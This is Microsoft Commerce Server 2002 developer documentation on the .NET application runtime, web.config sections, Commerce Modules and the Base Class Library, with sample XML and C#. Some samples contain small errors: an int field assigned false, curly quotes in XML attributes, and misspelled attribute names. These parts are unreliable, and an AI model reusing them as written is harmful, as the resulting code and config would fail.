The CatalogContext object (Microsoft.CommerceServer.Runtime.Catalog.CatalogContext) is used for global access in the application, for retrieving individual catalogs, and for performing searches in the Product Catalog System. The CatalogManager object is available globally from the Commerce Server Application Runtime. No special configuration is required for this service.

In addition, the Commerce Server Application Runtime makes it possible to configure a single catalog in the Product Catalog System so that the data is automatically available at run time.

For more information about catalog classes, see Microsoft.CommerceServer.Runtime.Catalog.

Commerce Event Logging

The Base Class Library includes the BaseCommerceEvent object that enables you to create your own Commerce event managed-code objects. When you create a custom Commerce event, the event information is appended to the Web log file query string. These events can then be tracked and used in reports.

For more information about the BaseCommerceEvent class, see Base Commerce Event Class.

Creation of Content Selection Applications

A Content Selection Application is a collection of caches and pipelines that correspond to a particular type of Content Selection operation. For example, the Advertising Content Selection application consists of a cache of target-based content, a pipeline for selecting the content, a pipeline for recording events, and a URL used as the link between the advertisement and the area to which the advertisement corresponds.

In Commerce Server 2002, the Commerce Server Application Runtime enables you to configure these elements in a single location. The Commerce Server Application Runtime automatically ties them together at run time and makes them available to the Content Selection process when content is requested from a particular Content Selection Application.

For more information about the ContentSelector class, see ContentSelector Class (BCL).

Pipeline Management

The functionality of a pipeline is based on three parts: pipeline components, pipeline configuration files, and the pipeline objects used to invoke the pipeline components and configuration files. When running pipelines in a .NET-based Commerce Server application, only a few configuration properties need to be set to in the web.config file to enable the Commerce Server Application Runtime to call the correct components, pipeline configuration files, and objects.

For more information about the pipelines, see Microsoft.CommerceServer.Runtime.Pipelines or pipelines tag.

Profile Retrieval

The ProfileContext object is stored globally in the application, and is used for retrieving individual profile instances. The ProfileContext object is available globally from the Commerce Server Application Runtime. The configuration of the Profile Service and its usage within an ASP.NET application is limited to mapping the properties implemented by the schema representing users and the schema representing organizations. This is specifically required by the Catalog class library to enable Catalog Sets functionality. For more information about profile retrieval, see profiles Tag.

Resource Localization

The MessageManager object was originally designed for use by pipeline components to insert status and error messages into an OrderForm object. The Commerce Server 2000 Solution Sites use a specialized XML document, rc.xml, for setting the MessageManager object. The Commerce Server .NET Application Framework contains a new method for localizable resource creation and management. This method has a schema similar to the rc.xml document, but with much richer support for localizable resources, including strings and bitmaps.

The Commerce Server Application Runtime relies on the Commerce Server .NET Application Framework localizable resource schema with one exception: the Order Processing pipeline, which remains dependent on the MessageManager object. The Commerce Server Application Runtime maps specific resources from a .resx file and loads them into the MessageManager object when the application starts, so that when the MessageManager object is required by the Order Processing pipeline, it has the data it needs to function correctly. For more information about configuring the MessageManager object, see Configuration Services. For more information about managing messages in the Commerce Server .NET Application Framework, see Using MessageManager.

Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

Page Services

In addition to the global data required for a Commerce Server application to run, there is also data specific to each page, and potentially to each user, that is provided within the page services. Page services provide Commerce Server-specific data per HTTP request. This data is accessed through the CommerceContext class. The page services are:

  • Current user's profile. The current user’s profile is available from the CommerceContext.Current.UserProfile property.
  • User catalogs. The list of catalogs to which the current user has access is available from the CommerceContext.GetCatalogsForUser method.
  • Targeting context. The current targeting context as required by the Content Selection Framework is available from the CommerceContext.TargetingSystem.TargetingContextProfile property.

See Also

.NET Class Reference

Configuration Services

CommerceContext


Configuration Services

Each .NET-based Commerce Server application contains a web.config file. To configure the Commerce Server .NET Application Framework, you modify the web.config file by changing the following sections:

  • The CommerceServer section configures the framework components.
  • The sectionGroups section lists the ASP.NET Configuration Section Handlers that should be used to read the data in the web.config file.
  • The httpModules section lists which HTTP modules and Commerce Modules should be enabled in the application.

For reference material pertaining to each of the tags in the web.config file, see .NET Configuration Settings.

Notes

  • The order that modules are configured in web.config is significant; modules are initialized in the order in which they are listed.
  • If you create a new Commerce project by using the Project Creation Wizard, it automatically includes a default web.config file. Thus, projects created by the Project Creation Wizard do not need to modify the configSections element of the web.config file. For more information about the Project Creation Wizard, see Creating a Commerce Project.

The following is a sample excerpt from the web.config file:

    <configSections>
        <sectionGroup name="CommerceServer">
            <section name="application"
type="Microsoft.CommerceServer.Runtime.Configuration.CommerceApplicationSectionHandler, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <section name="authentication"
type="Microsoft.CommerceServer.Runtime.Configuration.CommerceAuthenticationSectionHandler, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <section name="pipelines"
type="Microsoft.CommerceServer.Runtime.Configuration.CommercePipelineSectionHandler, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <section name="caches"
type="Microsoft.CommerceServer.Runtime.Configuration.CommerceCacheSectionHandler, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <section name="messageManager"
type="Microsoft.CommerceServer.Runtime.Configuration.CommerceMessageManagerSectionHandler, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <section name="catalog"
type="Microsoft.CommerceServer.Runtime.Configuration.CommerceCatalogSectionHandler, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <section name="orders"
type="Microsoft.CommerceServer.Runtime.Configuration.CommerceOrdersSectionHandler, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <section name="profiles"
type="Microsoft.CommerceServer.Runtime.Configuration.CommerceProfilesSectionHandler, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <section name="contentSelection"
type="Microsoft.CommerceServer.Runtime.Configuration.CommerceContentSelectionSectionHandler, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
        </sectionGroup>
    </configSections>

    <CommerceServer>
        <application siteName="OrderSitelet" debugLevel="Checked"/>
        <authentication detectCookies="false"/>

        <pipelines>
            <pipeline
                name="basket"
                path="pipelines\basket.pcf"
                transacted="false"
                type="OrderPipeline"
                loggingEnabled="true"/>

            <pipeline
                name="checkout"
                path="pipelines\checkout.pcf"
                transacted="false"
                type="OrderPipeline"
                loggingEnabled="true"/>

            <pipeline
                name="product"
                path="pipelines\product.pcf"
                transacted="false"
                type="OrderPipeline"
                loggingEnabled="true"/>

            <pipeline
                name="total"
                path="pipelines\total.pcf"
                transacted="false"
                type="OrderPipeline"
                loggingEnabled="true"/>

        </pipelines>

        <caches>
            <cache
                name="Advertising"
                type="Advertising"
                refreshInterval="900"
                retryInterval="30"
                maxSize="10000"/>

            <cache
                name="Discounts"
                type="Discounts"
                refreshInterval="0"
                retryInterval="30"
                maxSize="10000"/>

            <cache
                name="SampleRegionalTaxCache"
                type="Tax"
                refreshInterval="0"
                retryInterval="30"
                maxSize="10000"/>

            <cache
                name="ShippingManagerCache"
                type="Shipping"
                loaderProgId="Commerce.ShippingManagerCache"
                refreshInterval="0"
                retryInterval="30"
                maxSize="10000"/>

            <cache
                name="QueryCatalogInfoCache"
                type="QCI"
                loaderProgId="Commerce.LRUCacheFlush"
                refreshInterval="0"
                retryInterval="300"
                maxSize="10000">

                <config key="TableName" value="CatalogCache_Virtual_Directory"/>

            </cache>
        </caches>

        <messageManager>
            <cultures default="en-US" baseName="OrderSitelet" assembly="OrderSitelet">
                <culture id="en-US"/>
                <culture id="fr-fr"/>
                <culture id="ja-JP"/>
            </cultures>
            <resources>
                <resource id="pur_badsku"/>
                <resource id="pur_badplacedprice"/>
                <resource id="pur_discount_changed"/>
                <resource id="pur_discount_removed"/>
                <resource id="pur_noitems"/>
                <resource id="pur_badshipping"/>
                <resource id="pur_badhandling"/>
                <resource id="pur_badtax"/>
                <resource id="pur_badcc"/>
                <resource id="pur_badpayment"/>
                <resource id="pur_badverify"/>
                <resource id="pur_out_of_stock"/>
                <resource id="unknown_shipping_method"/>
            </resources>
        </messageManager>

        <orders>
            <addressMap>
                <profileDefinition name="Address"/>
                <property from="GeneralInfo.address_id" to="address_id"/>
                <property from="GeneralInfo.address_id" to="shipping_address_id"/>
                <property from="GeneralInfo.first_name" to="first_name"/>
                <property from="GeneralInfo.last_name" to="last_name"/>
                <property from="GeneralInfo.address_line1" to="address_line1"/>
                <property from="GeneralInfo.address_line2" to="address_line2"/>
                <property from="GeneralInfo.city" to="city"/>
                <property from="GeneralInfo.region_name" to="region_code"/>
                <property from="GeneralInfo.postal_code" to="postal_code"/>
                <property from="GeneralInfo.country_name" to="ship_to_country"/>
                <property from="GeneralInfo.region_name" to="ship_to_state"/>
                <property from="GeneralInfo.country_name" to="country_code"/>
                <property from="GeneralInfo.tel_number" to="tel_number"/>
            </addressMap>
        </orders>

    <profiles>

        <encryption>
            <keys keyIndex="1">
                <add type="publicKey" value="<hex-string>" />
                <add type="privateKey1" value="<hex-string>" />
                <add type="privateKey2" value="<hex-string>" />
            </keys>
        </encryption>

        <userProfile
            profileDefinition="UserObject"
            userIdProperty="GeneralInfo.logon_name"
            organizationIdProperty="AccountInfo.org_id"
            catalogSetIdProperty="AccountInfo.user_catalog_set"
        />
        <organizationProfile
            profileDefintion="Organization"
            organizationIdProperty="GeneralInfo.org_id"
            catalogSetIdProperty="GeneralInfo.org_catalog_set"
        />
    </profiles>

    <contentSelection>
        <add name="advertising"
            cacheName="advertising"
            selectionPipeline="advertising"
            eventPipeline="recordEvent"
            preloadCache="true"
            redirectUrl="./redir.asp"
        />
        <add name="discounts"
            campaignsType="discounts"
            cacheName="discounts"
            selectionPipeline="discounts"
            eventPipeline="recordEvent"
            redirectUrl="./redir.asp"
        />
    </contentSelection >

    <catalog>
        <joinTable
            joinType=”join-type-enum-value”
            targetTableName=”target-table”
            sourceJoinKey=”source-join-key”
            targetJoinKey=”target-join-key” />

        <catalogSets
            defaultAuthenticated=”Registered Catalog Set”
            defaultAnonymouse=”Anonymous Catalog Set” />
    </catalog>

    </CommerceServer>

    <system.web>

        <httpModules>
            <add name="CommerceApplication"                type="Microsoft.CommerceServer.Runtime.CommerceApplicationModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <add name="CommerceAuthentication"                type="Microsoft.CommerceServer.Runtime.CommerceAuthenticationModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <add name="CommerceOrder"                type="Microsoft.CommerceServer.Runtime.Orders.CommerceOrderModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <add name="CommerceCatalog"                type="Microsoft.CommerceServer.Runtime.Catalog.CommerceCatalogModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <add name="CommerceProfile"                type="Microsoft.CommerceServer.Runtime.Profiles.CommerceProfileModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <add name="CommerceExpressionEvaluator"                type="Microsoft.CommerceServer.Runtime.Targeting.CommerceExpressionModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <add name="CommerceCache"                type="Microsoft.CommerceServer.Runtime.Caching.CommerceCacheModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <add name="CommerceContentSelection"
                type="Microsoft.CommerceServer.Runtime.Targeting.CommerceContentSelectionModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
        </httpModules>
    </system.web>

See Also

.NET Class Reference

Commerce Modules


Commerce Modules

Commerce Modules are an extension of the ASP.NET runtime, and are based on the HTTP module architecture that the runtime provides. Commerce Modules encapsulate the automatic configuration of all Commerce Server Application Runtime components. The CommerceModule class is the base class from which all Commerce Modules derive. After an application is loaded into the Commerce Server Application Runtime, you can use the CommerceContext class to access all page and application scope components provided by Commerce Server from within the global.asax file, a Web form, or any custom component.

Using Commerce Modules decreases the amount of code you need to write in the global.asa file and on individual ASP pages to initialize components. The initialization code is encapsulated in Commerce Modules that read configuration data from the web.config file.

Some Commerce Modules are configurable and some are not. If the Commerce Module is configurable, the module will reference the associated IConfigurationSectionHandler interface. IConfigurationSectionHandler interface instances are defined in the <configSections><sectionGroup name="Commerce Server"> section of the web.config file, as shown in the preceding sample web.config file. Commerce Modules are defined and initialized in the <system.web><httpModules> section of the web.config file.

The following tables contain quick reference information for each of the Commerce Modules.

CommerceApplicationModule | Description
Module description | By definition, an application must use CommerceApplicationModule to be considered a Commerce Server .NET Application Framework application. All other CommerceModules depend on the CommerceApplicationModule.
Public properties
public static string SiteName {
get; }
public static
CommerceResourceCollection
Resources { get; }
public static PipelineCollection
Pipelines { get; }
public static DebugContext
DebugContext { get; set; }
Configuration section read
<application>
CommerceContext properties set
public string SiteName { get; }
public CommerceResourceCollection
Resources { get; }
public PipelineCollection Pipelines
{ get; }
public DebugContext DebugContext {
get; }
Event handlers The OnBeginRequest event creates an instance of the CommerceContext class and stores it in the HttpContext.Current.Items collection for retrieval by the CommerceContext.Current static property.

The OnEndRequest event disposes of the current CommerceContext class instance and all of the disposables it is managing.
Resource dependencies | None
Module dependencies | None
CommerceAuthenticationModule | Description
Module description | Provides a framework for managing authentication of site visitors. Provides the means for client-side cookie detection and creates an instance of AuthManagerInfo at page scope.
Public properties | None
Configuration section read
<authentication>
CommerceContext properties set
public AuthManagerInfo
AuthManagerInfo { get; }
Event handlers | The OnBeginRequest event creates an instance of the AuthManagerInfo class and sets CommerceContext.AuthManagerInfo.
Resource dependencies | Authentication resource
Module dependencies | CommerceApplicationModule
CommerceCacheModule | Description
Module description | Creates the collection of CacheManager caches used on the site.
Public properties
public static
CommerceCacheCollection
CacheCollection { get; }
Configuration section read
<caches>
CommerceContext properties set
public CommerceCacheCollection
Caches { get; }
Event handlers | None
Resource dependencies The Campaigns resource is a dependency only if a cache of type advertising or discounts has been configured.

The Transactions Config resource is a dependency if a cache of type tax, shipping, or QCI has been configured.
Module dependencies | CommerceApplicationModule
CommerceCatalogModule | Description
Module description | Creates a default CatalogContext object for the site.
Public properties
public static CatalogContext
CatalogContext { get; }
Configuration section read
<catalog>
CommerceContext properties set
public CatalogContext CatalogSystem
{ get; set; }
Event handlers | The OnBeginRequest event sets CommerceContext.CatalogSystem.
Resource dependencies | Product Catalog System
Module dependencies | CommerceApplicationModule
CommerceOrderModule | Description
Module description | Creates a default OrderContext object for the site.
Public properties
public static OrderContext
OrderContext { get; }
Configuration section read | None
CommerceContext properties set
public OrderContext OrderSystem {
get; set; }
Event handlers | The OnBeginRequest event sets CommerceContext.OrderSystem.
Resource dependencies | Transactions resource
Module dependencies | CommerceApplicationModule
CommerceProfileModule | Description
Module description | Creates a default ProfileContext object for the site.
Public properties
public static ProfileContext
ProfileContext { get; }
public static
CommerceProviderContext
ProviderContext { get; }
Configuration section read | profiles
CommerceContext properties set
Public ProfileContext ProfileSystem
{ get; set; }
Public CommerceProviderContext
ProviderContext { get; set; }
Event handlers | The OnBeginRequest event sets CommerceContext.ProfileSystem.
Resource dependencies | Profiles resource
Module dependencies | CommerceApplicationModule
CommerceContentSelectionModule | Description
Module description | Creates the collection of ContentSelectionContext objects available for site usage.
Public properties
public static
ContentSelectionContextCollection
ContentSelectionContexts { get; }
Configuration section read
<contentSelection>
CommerceContext properties set
public
ContentSelectionContextCollection
TargetingSystem.SelectionContexts {
get; }
Event handlers | None
Resource dependencies | None
Module dependencies CommerceApplicationModule
CommerceCacheModule
CommerceExpressionModule
CommerceExpressionModule | Description
Module description | Creates an ExpressionEvaluator component for use on the site.
Public properties
public static ExpressionEvaluator
ExpressionEvaluator { get; }
Configuration section read | None
CommerceContext properties set
Public ExpressionEvaluator
TargetingSystem.ExpressionEvaluator
{ get; }
Event handlers | None
Resource dependencies | Profiles resource
Module dependencies | CommerceApplicationModule

Enabling CommerceModules in the web.config File

Module Design Patterns

Exposing Resources Created by a Commerce Module

Building Commerce Modules

Enabling CommerceModules in the web.config File

The set of Commerce Modules available for use in the site must be configured in the <httpModules> section of the web.config file. The order in which the modules appear in the web.config file is significant. Any module dependent upon another module must be listed after the module on which it is dependent.

The CommerceApplicationModule class is a requirement for an application to be considered part of a .NET-based Commerce Server application, and it must be listed before all other CommerceModules classes in the <httpModules> section in the web.config file.

The following code sample shows what the <httpModules> section would look like for an application that used only the CommerceApplicationModule, CommerceOrderModule, and CommerceCatalogModule classes:

<httpModules>
            <add name="CommerceApplication" type="Microsoft.CommerceServer.Runtime.CommerceApplicationModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <add name="CommerceOrder" type="Microsoft.CommerceServer.Runtime.Orders.CommerceOrderModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <add name="CommerceCatalog" type="Microsoft.CommerceServer.Runtime.Catalog.CommerceCatalogModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
</httpModules>

See Also

.NET Class Reference

CommerceModule Class

CommerceApplicationModule Class

CommerceCatalogModule Class

CommerceOrderModule

Module Design Patterns

A Commerce Module is responsible for creating a resource that will be used on site pages. The module can either create a single instance of the resource, or it can create a different instance of the resource for each instance of the HttpApplication class that is created in the ASP.NET application. This topic describes the issues that should be considered when making this design decision.

The multiple-instance pattern is simplest to implement. The Init method of the module simply creates the resource and stores it in an instance field.

The singleton pattern is a little more complex to implement. The first time the Init method is called for any instance, the module creates the resource and stores it in a static field. This must be done in a way that uses locking to avoid a race condition that might cause multiple instances of the resource to be created. The following code sample demonstrates the singleton pattern:

public sealed class SampleModule : CommerceModule
{
   // The resource the module is responsible for creating
   private static SampleResource sampleResource;

// The key name used to store the resource in the HttpContext Items
// collection
   private const string sampleResourceKey = "SampleCommerceResource";

   // Flag: has this instance been disposed
   private int disposed = false;

   // CommerceModule.Init implementation
   public override void Init(HttpApplication appInstance)
   {
      // First declare module and resource dependencies using the
      // CommerceModule protected helper methods.  These will throw
      // CommerceResourceDependencyExceptions or
      // CommerceModuleDependencyExceptions if the dependencies don’t exist

      // "SampleResourceName" is some custom Commerce Server site resource
      DeclareResourceDependency("SampleResourceName");

      // This module depends on the CatalogModule having been initialized
      // in the pipeline before this module.
      DeclareModuleDependency("CommerceCatalogModule");

      // Create the singleton instance of the resource
      if (sampleResource == null)
      {
         // Lock to prevent race conditions and ensure that exactly one
         // instance of the resource is created
         lock (typeof(SampleModule))
         {
            if (sampleResource == null)
               sampleResource = CreateResource();
         }
      }

      // subscribe to BeginRequest events
      appInstance.BeginRequest += new EventHandler(OnBeginRequest);
   }

   // BeginRequest event handler
   public void OnBeginRequest(Object sender, EventArgs e)
   {
      HttpContext ctx = HttpContext.Current;
      if (ctx != null)
         ctx.Items[sampleResourceKey] = sampleResource;
   }

   // If there are any resources that need to be disposed of, override
   // the Dispose(bool) method from the base class.  This will be called
   // when the module instance is disposed.

   protected override void Dispose(bool disposing)
   {
      // Check to see if Dispose has already been called.
      if(!this.disposed)
      {
         this.disposed = true;
            // If disposing equals true, dispose all managed
         // and unmanaged resources.
         if(disposing)
         {
            // Dispose managed resources.
         }
         // Release unmanaged resources. If disposing is false,
         // only the following code is executed.
         // ...

         // Now call the base class's dispose:
         base.Dispose(disposing);
      }
   }

}

Exposing Resources Created by a Commerce Module

It is recommended that Commerce Modules subscribe to the BeginRequest event of the HttpApplication class. When the event is handled, it copies a reference to the resources that it created in the Init method into the HttpContext.Current.Items collection using a well known, unique, and documented key. The Web form then only needs to retrieve the reference of the resource from the Items collection and assign the appropriate type to it.

For modules supplied with the core Commerce Server .NET Application Framework, the references are copied into a strongly typed property in the CommerceContext class. This is more convenient for you to access and it avoids the cost of a hash table lookup and a run-time type cast.

Building Commerce Modules

While Commerce Modules are an extension to the HTTP module architecture in ASP.NET, it is recommended that you implement or build Commerce Modules instead of implementing the IHttpModule interface. This is because inheriting from the CommerceModule class allows Commerce Server to manage the dependencies between modules in the application.

A third party providing extensions or plug-ins for the Commerce Server platform should build a Commerce Module if any of the following are true:

  • The extension depends on a resource or resources in the Commerce Server Administration database.
  • The extension depends on other Commerce Server modules.
  • The extension requires global configuration before its functionality is used on site pages.
  • The extension needs to subscribe to request processing events raised by the HttpApplication class.
  • Other Commerce Modules might depend on this module being configured.

See Also

Commerce Server Application Runtime

CommerceModule Class (BCL)


Base Class Library

The Commerce Server Base Class Library is a collection of classes, interfaces, and value types that are included in the Commerce Server .NET Application Framework. This library provides access to run-time Commerce Server functionality and is designed to be the foundation on which .NET-based Commerce Server applications are built. The Base Class Library exposes an API that is optimized for the .NET Framework while using the services provided by the Common Language Runtime Interop Layer.

The following table lists the feature areas for which an abstraction layer is provided in the Base Class Library, and the types associated with the feature area.

Run-time subsystem | Namespace
Authentication | Microsoft.CommerceServer.Runtime
Order Processing Pipelines | Microsoft.CommerceServer.Runtime.Pipelines
Caching | Microsoft.CommerceServer.Runtime.Caching
Order System | Microsoft.CommerceServer.Runtime.Orders
Product Catalog System | Microsoft.CommerceServer.Runtime.Catalog
Profiling System | Microsoft.CommerceServer.Runtime.Profiles
Targeting System | Microsoft.CommerceServer.Runtime.Targeting

For more information about the types in each of these namespaces, see Microsoft.CommerceServer.Runtime and Base Class Library Namespaces.

The Base Class Library does not provide an abstraction layer for all Primary Interop Assemblies, and for the Primary Interop Assemblies that do have an abstraction layer, there is not a one-to-one mapping of run-time APIs to members of the Base Class Library.

This section contains:

  • Base Class Library Namespaces
  • Resource Disposal

See Also

.NET Class Reference

Common Language Runtime Interop Layer


Base Class Library Namespaces

Objects and types in the common language runtime are organized in a namespace hierarchy that allows similar types to be grouped by using a logical name. For example, types related to low-level input/output operations such as file reading and writing are grouped in the namespace System.IO.

The Base Class Library namespaces exposed in the Commerce Server .NET Application Framework are grouped by functional area to make it easier for you to discover and use them. The root namespace for the Base Class Library layer is Microsoft.CommerceServer.Runtime, and it groups all core Commerce Server run-time objects.

The namespaces implemented in Commerce Server 2002 are:

  • Microsoft.CommerceServer.Runtime
  • Microsoft.CommerceServer.Runtime.Caching
  • Microsoft.CommerceServer.Runtime.Catalog
  • Microsoft.CommerceServer.Runtime.Configuration
  • Microsoft.CommerceServer.Runtime.Diagnostics
  • Microsoft.CommerceServer.Runtime.Orders
  • Microsoft.CommerceServer.Runtime.Pipelines
  • Microsoft.CommerceServer.Runtime.Profiles
  • Microsoft.CommerceServer.Runtime.Targeting

See Also

Primary Interop Assembly Namespaces

Resource Disposal

.NET Class Reference


Resource Disposal

When used in conjunction with the Commerce Server Application Runtime, disposal of the Base Class Library members is done automatically. All the Base Class Library classes that hold unmanaged resources implement the IDisposable interface, so that they can release these resources when the objects are no longer required. For more information about using this application run-time service, see CommerceContext.RegisterDisposable(Object).

For more information about resource disposal and the IDisposable interface, see the .NET Framework SDK documentation.

See Also

Base Class Library


Common Language Runtime Interop Layer

The common language runtime provides an interoperability layer between COM components and .NET-based applications. It conceals the differences between managed code and unmanaged code, so that COM components are accessible from the common language runtime and vice versa.

The Common Language Runtime Interop Layer is primarily composed of Primary Interop Assemblies. Assemblies are the primary building blocks of a .NET Framework application. Interop assemblies act as a bridge between managed and unmanaged code, mapping COM object members to equivalent .NET managed members. The term Primary Interop Assembly pertains to assemblies made specifically for COM objects. The Common Language Runtime Interop Layer is responsible for running and managing the Primary Interop Assemblies created for Commerce Server.

The Base Class Library uses the Primary Interop Assemblies to interoperate with Commerce Server 2002 core services. You should use the Base Class Library instead of using the Primary Interop Assemblies directly. The Common Language Runtime Interop Layer does not manage the lifetime of a COM object for you; the Base Class Library does, resulting in increased performance and stability. The Base Class Library simplifies the programming model and follows the .NET Framework design guidelines.

This section contains:

  • Primary Interop Assembly
  • Primary Interop Assembly Namespaces

See Also

Microsoft.CommerceServer.Interop


Primary Interop Assemblies

Assemblies are the binary components that are managed and run by the common language runtime. Assemblies contain the code to be run in Microsoft intermediate language (MSIL), the metadata that describes the objects stored in the assembly, the version information associated with the objects in the assembly, and more. They are roughly equivalent to a COM DLL with a type library embedded in it. To make the Commerce Server object model available to the common language runtime, there is a set of Primary Interop Assemblies that act as proxies, forwarding all API calls from managed code to Microsoft native COM APIs.

Note

  • The Base Class Library uses the Primary Interop Assemblies to interoperate with Commerce Server 2002 core services. You should use the Base Class Library instead of using the Primary Interop Assemblies directly. The Common Language Runtime Interop Layer does not manage the lifetime of a COM object for you; the Base Class Library does, resulting in increased performance and stability. The Base Class Library simplifies the programming model and follows the .NET Framework design guidelines.

See Also

Primary Interop Assembly Namespaces

Microsoft.CommerceServer.Interop


Primary Interop Assembly Namespaces

Objects and types in the common language runtime are organized in a namespace hierarchy that allows similar types to be grouped by using a logical name. For example, types related to low-level input/output operations such as file reading and writing are grouped in the namespace System.IO.

The Primary Interop Assemblies exposed in the Commerce Server .NET Application Framework are grouped by functional area to make it easier for you to discover and use them. The root namespace for the interop layer is Microsoft.CommerceServer.Interop, and it groups all the Common Language Runtime Interop Layer objects.

The namespaces implemented by Commerce Server 2002 are:

  • Microsoft.CommerceServer.Interop
  • Microsoft.CommerceServer.Interop.Caching
  • Microsoft.CommerceServer.Interop.Catalog
  • Microsoft.CommerceServer.Interop.Configuration
  • Microsoft.CommerceServer.Interop.Orders
  • Microsoft.CommerceServer.Interop.Profiles
  • Microsoft.CommerceServer.Interop.Targeting

Note

  • The Base Class Library uses the Primary Interop Assemblies to interoperate with Commerce Server 2002 core services. You should use the Base Class Library instead of using the Primary Interop Assemblies directly. The Common Language Runtime Interop Layer does not manage the lifetime of a COM object for you; the Base Class Library does, resulting in increased performance and stability. The Base Class Library simplifies the programming model and follows the .NET Framework design guidelines.

See Also

Base Class Library Namespaces

Common Language Runtime Interop Layer


Building a .NET-Based Commerce Server Application

You use Microsoft Visual Studio .NET to create .NET-based Commerce Server applications that use the Microsoft .NET Framework. Microsoft Commerce Server 2002 provides tight integration with Visual Studio .NET, and allows you to access essential Commerce Server tools from the Visual Studio .NET development environment. You can also create Commerce Web applications in a team development environment; for more information about creating Visual Studio .NET applications in a team development environment, see http://go.microsoft.com/fwlink/?LinkId=6771.

The topics in this section explain how to access Commerce Server tools from Visual Studio .NET.

This section contains:

  • Creating a Commerce Project. Explains how to build a new Commerce Project by using the Project Creation Wizard.
  • Using the Developer Portal: Describes the Commerce Server tools integrated with Visual Studio .NET, including Commerce Server Manager.
  • Enabling Commerce Server in an Existing Web Project. Explains how to enable Commerce Server functionality in an existing Web service, Visual Basic .NET, C#, or empty Web project.
  • Using MessageManager. Explains how to implement message management by using the Commerce Server .NET Application Framework.
  • Logging Site Exceptions to the NT Event Log. Explains how to write to the Windows NT event log in an ASP.NET site.
  • Creating a Commerce Server Package for the Project Creation Wizard. Explains how to create template files for the Commerce Server Site Packager so that the Commerce Server package can work correctly with the Project Creation Wizard.
  • Removing Commerce Server from your Web Project. Explains how to remove a .NET-based Commerce Server application from a Visual Studio .NET project.


Creating a Commerce Project

You use the Project Creation Wizard in Microsoft Visual Studio .NET to create Commerce Server applications. Using Commerce Projects in the Project Creation Wizard, you can create a new Microsoft Visual Basic .NET- or Microsoft Visual C#-based Commerce Server application.

Using the Project Creation Wizard, you can migrate your existing Commerce Server site to Visual Basic .NET or C# to use .NET-based Commerce Server features.

The following table lists and describes Commerce Project options to create a Commerce Server Project in the Project Creation Wizard.

Use this | To do this
Commerce C# ASP.NET Web Application | Create a new C# application for Commerce Server.
Commerce VB ASP.NET Web Application | Create a new Visual Basic .NET application for Commerce Server.
New Commerce C# Project In Existing Folder | Map files that are not .NET-based to an existing C# Commerce Server application. This will automatically add references to your site and copy files to your site folder.
New Commerce VB Project In Existing Folder | Map files that are not .NET-based to an existing Visual Basic .NET Commerce Server application. This will automatically add references to your site and copy files to your site folder.
Commerce Custom ASP.NET Web Application Create a custom site based upon an existing Commerce Server Site package. You will have an option to select what Commerce Server resources are installed.

Notes

  • To use this option, the Commerce Server custom site package must be built specifically for the Project Creation Wizard.
  • If you receive an error about not being able to connect to a remote site when unpacking a site from a remote computer, enter the full Universal Naming Convention (UNC) path. For example, \\<Server Name>\<drive>$\inetpub\wwwroot\<Site Name>\.

Notes

  • The Project Creation Wizard does not support Csharp or VB Commerce Server Site packages that might be present in the PuP Packages folder.
  • Multiple Business Desk applications in a single Commerce Server Site package are not supported.

To create a new Visual Basic .NET or C# Commerce Server application

To enable a Commerce Server project to an existing Commerce Server site

To create a new Visual Basic .NET or C# Commerce Server application

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. On the File menu, point to New, and then click Project.
  3. In the New Project dialog box, do the following:
    Use this | To do this
    Project Types | Select Commerce Projects.
    Templates | From the list, select Commerce C# ASP.NET Web Application to create a new C# Commerce Server application, or select Commerce VB ASP.NET Web Application to create a new Visual Basic .NET Commerce Server application.
    Location | Type the complete path or click Browse to specify where to store the project.
  4. To create the project, click OK.

    The Commerce Application Project Wizard starts.

  5. In the Commerce Application Project Wizard Welcome dialog box, click Next.
  6. In the Commerce Server Site Packager Quick Unpack dialog box, do the following:
    Use this | To do this
    Site name | Type a name for the site, or retain the name CommerceWebApp1.
    IIS Web site | Select the name of the Internet Information Services (IIS) 5.0 Web site where the applications will be installed.
    SQL Server Computer | Type the name of the SQL Server computer on which you want the site databases to be created.
